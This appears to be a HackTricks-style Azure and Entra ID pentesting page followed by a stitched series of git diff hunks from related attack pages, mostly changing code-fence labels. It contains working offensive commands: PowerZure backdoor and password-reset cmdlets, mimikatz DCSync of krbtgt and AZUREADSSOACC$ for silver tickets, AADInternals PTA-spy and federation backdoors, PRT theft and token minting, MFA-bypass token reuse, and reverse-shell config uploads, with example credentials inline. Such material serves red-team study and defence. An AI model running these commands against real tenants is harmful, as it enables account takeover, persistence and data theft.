PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, EntraID, and the associated resources.
It uses the **Az PowerShell** module, so any authentication supported by this tool is supported by the tool.
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunner is a post-exploitation toolset for interacting with the Microsoft Graph API. It provides various tools for performing reconnaissance, persistence, and pillaging of data from a Microsoft Entra ID (Azure AD) account.
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotter creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work.
**Unfortunately, it looks unmantained**.
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -15,7 +15,7 @@ When running this script, sys admins need to provide two main parameters: **Serv
An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.
```powershell
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -34,24 +34,24 @@ We have the follow conditions:
There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.
```powershell
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.
```powershell
```bash
runas /user:fake01$ /netonly powershell
```
```powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.
```powershell
```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

View File

@@ -53,7 +53,7 @@ For each integration method, user synchronization is conducted, and an `MSOL_<in
To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used:
```powershell
```bash
Get-ADSyncConnector
```

View File

@@ -10,7 +10,7 @@ I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are t
- License is not required
- Should **not be already synced**
```powershell
```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```

View File

@@ -85,7 +85,7 @@ _Only the items in bold are mandatory. The others can be filled in as desired._
To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user:
```powershell
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -120,7 +120,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### On-prem -> cloud
```powershell
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -141,7 +141,7 @@ Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://
It's also possible to create ImmutableID of cloud only users and impersonate them
```powershell
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

View File

@@ -41,7 +41,7 @@ You can find a [full overview of how these credentials are stored and decrypted
If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with:
```powershell
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -51,7 +51,7 @@ Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
### Abusing MSOL\_\*
```powershell
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -67,7 +67,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)
```powershell
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
@@ -90,7 +90,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
It's also possible to **modify the passwords of only cloud** users (even if that's unexpected)
```powershell
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

View File

@@ -27,7 +27,7 @@ The authentication is validated in the on-prem AD and the communication with clo
If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
```powershell
```bash
Install-AADIntPTASpy
```
@@ -36,7 +36,7 @@ Install-AADIntPTASpy
It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed:
```powershell
```bash
Get-AADIntPTASpyLog -DecodePasswords
```

View File

@@ -22,7 +22,7 @@ The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the pas
The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**:
```powershell
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -42,7 +42,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
With the hash you can now **generate silver tickets**:
```powershell
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

View File

@@ -66,7 +66,7 @@ For more info about this way [**check this post**](https://dirkjanm.io/abusing-a
To generate a valid PRT cookie the first thing you need is a nonce.\
You can get this with:
```powershell
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -84,25 +84,25 @@ AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-
Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools):
```powershell
```bash
roadrecon auth prt-init
```
Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack):
```powershell
```bash
.\ROADtoken.exe <nonce>
```
As oneliner:
```powershell
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph:
```powershell
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
@@ -116,7 +116,7 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
`Get-AADIntUserPRTToken` **gets users PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token.
```powershell
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -126,7 +126,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
Or if you have the values from Mimikatz you can also use AADInternals to generate a token:
```powershell
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -187,7 +187,7 @@ You can find an **in depth explanation of the performed process** to extract the
You can use **mimikatz** to extract the PRT:
```powershell
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

View File

@@ -2,7 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
To start a white box hardening review of some Entra ID tenats you need to ask for **Global Reader role on each tenant**. Moreover, to perform a hardening review of different Azure subscriptions you would need at least the **Reader permissions over all the subscriptions**.
Note that if those roles aren't enough to access all the info you need, you could also ask the client for roles with the permissions you need. Just try to **minimize the amount of not read-only permissions you ask for!**
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -18,7 +18,7 @@ An interesting role to add to the application would be **Privileged authenticati
This technique also allows to **bypass MFA**.
```powershell
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
@@ -26,7 +26,7 @@ Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1
- For certificate based authentication
```powershell
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
@@ -36,13 +36,13 @@ With **DA privileges** on on-prem AD, it is possible to create and import **new
**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service:
```powershell
```bash
New-AADIntADFSSelfSignedCertificates
```
Then, update the certificate information with Azure AD:
```powershell
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
@@ -50,7 +50,7 @@ Update-AADIntADFSFederationSettings -Domain cyberranges.io
With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer:
```powershell
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

View File

@@ -262,7 +262,7 @@ If an automation account is using a custom runtime environment, it could be poss
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
```powershell
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
@@ -270,7 +270,7 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she
The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
```powershell
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```

View File

@@ -88,7 +88,7 @@ Policies often asks for a compliant device or MFA, so an **attacker could regist
Start by registering a **compliant device in Intune**, then **get the PRT** with:
```powershell
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -153,7 +153,7 @@ Donkey token is a set of functions which aim to help security consultants who ne
**Test each portal** if it's possible to **login without MFA**:
```powershell
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
@@ -162,14 +162,14 @@ Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
```powershell
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
```powershell
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```

View File

@@ -24,7 +24,7 @@ Get groups that allow Dynamic membership: **`az ad group list --query "[?contain
For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
```powershell
```bash
# Login with the gust user
az login --allow-no-subscriptions

View File

@@ -88,7 +88,7 @@ You could also execute other payloads like: `powershell net users new_user Welco
- Reset password using the VMAccess extension
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -105,7 +105,7 @@ It's also possible to abuse well-known extensions to execute code or perform pri
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -119,7 +119,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {

View File

@@ -14,7 +14,7 @@ Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system
Then query the Azure REST API to get the **subscription ID** and more .
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'

View File

@@ -31,7 +31,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#tab name="Az Powershell" }}
```powershell
```bash
# List all ACRs in your subscription
Get-AzContainerRegistry

View File

@@ -185,7 +185,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#tab name="Az Powershell" }}
```powershell
```bash
Get-Command -Module Az.Websites
# Get App Services and Function Apps

View File

@@ -21,7 +21,7 @@ It works like this:
## Enumeration
```powershell
```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

View File

@@ -14,7 +14,7 @@ If you can access it, you can have **info about resources** that are not present
Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
```powershell
```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>

View File

@@ -199,7 +199,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

View File

@@ -48,7 +48,7 @@ az ad user list --query-examples # Get examples
{{#tab name="Mg" }}
```powershell
```bash
# Login Open browser
Connect-MgGraph
@@ -69,15 +69,26 @@ $token = (az account get-access-token --resource https://graph.microsoft.com --q
$secureToken = ConvertTo-SecureString $token -AsPlainText -Force
Connect-MgGraph -AccessToken $secureToken
# Get token from session
Parameters = @{
Method = "GET"
Uri = "/v1.0/me"
OutputType = "HttpResponseMessage"
}
$Response = Invoke-MgGraphRequest @Parameters
$Headers = $Response.RequestMessage.Headers
$Headers.Authorization.Parameter
# Find commands
Find-MgGraphCommand -command *Mg*
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
{{#tab name="Az" }}
```powershell
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -85,15 +96,11 @@ $creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicro
Connect-AzAccount -Credential $creds
# Get Access Token
(Get-AzAccessToken).Token
# Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse
(Get-AzAccessToken -ResourceTypeName MSGraph).Token
(Get-AzAccessToken -Resource "https://graph.microsoft.com").Token
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText)
# Connect with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com -AccessToken $token
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
## The -AccessToken is from management.azure.com
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
@@ -111,7 +118,7 @@ Get-Command *az*
{{#tab name="Raw PS" }}
```powershell
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -146,7 +153,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#tab name="Azure AD" }}
```powershell
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -167,7 +174,7 @@ For example a **powershell script** that **authenticates** use an app with clien
However, there are **other client-ids** of applications that **will allow you to connect to Azure**:
```powershell
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -261,7 +268,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -299,9 +306,9 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }}
{{#tab name="Az PowerShell" }}
{{#tab name="Az" }}
```powershell
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -318,7 +325,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
#### Change User Password
```powershell
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
@@ -343,7 +350,7 @@ For more information about Entra ID groups check:
{{#tabs }}
{{#tab name="az cli" }}
```powershell
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -372,9 +379,27 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }}
{{#tab name="Az" }}
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
```
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
@@ -400,24 +425,6 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
```
{{#endtab }}
{{#endtabs }}
@@ -425,7 +432,7 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
Owners of the group can add new users to the group
```powershell
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
@@ -467,9 +474,41 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }}
{{#tab name="Az" }}
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>
```
{{#endtab }}
{{#tab name="Raw" }}
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -488,38 +527,6 @@ Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>
```
{{#endtab }}
{{#tab name="Raw" }}
```powershell
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}
@@ -530,7 +537,7 @@ $RequestParams = @{
<summary>List and try to add a client secret on each Enterprise App</summary>
```powershell
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -669,24 +676,9 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }}
{{#tab name="Azure AD" }}
{{#tab name="Az" }}
```powershell
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id> | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -697,6 +689,21 @@ Get-AzADApplication | ?{$_.DisplayName -match "app"}
Get-AzADAppCredential
```
{{#endtab }}
{{#tab name="Azure AD" }}
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id> | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
```
{{#endtab }}
{{#endtabs }}
@@ -768,9 +775,9 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }}
{{#tab name="Az PowerShell" }}
{{#tab name="Az" }}
```powershell
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -784,7 +791,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#tab name="Raw" }}
```powershell
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -860,7 +867,7 @@ az rest --method GET \
{{#tab name="Azure AD" }}
```powershell
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
@@ -891,7 +898,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -943,7 +950,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#tab name="AzureAD" }}
```powershell
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>

View File

@@ -84,7 +84,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -238,20 +238,23 @@ az cosmosdb restorable-database-account list --account-name <AccountName>
## Show the identities for a Azure Cosmos DB database account.
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
# MongoDB
## MongoDB
# List all MongoDB databases in a specified Azure Cosmos DB account
az cosmosdb mongodb database list --account-name <AccountName> --resource-group <ResourceGroupName>
# List all collections in a specific MongoDB database within an Azure Cosmos DB account
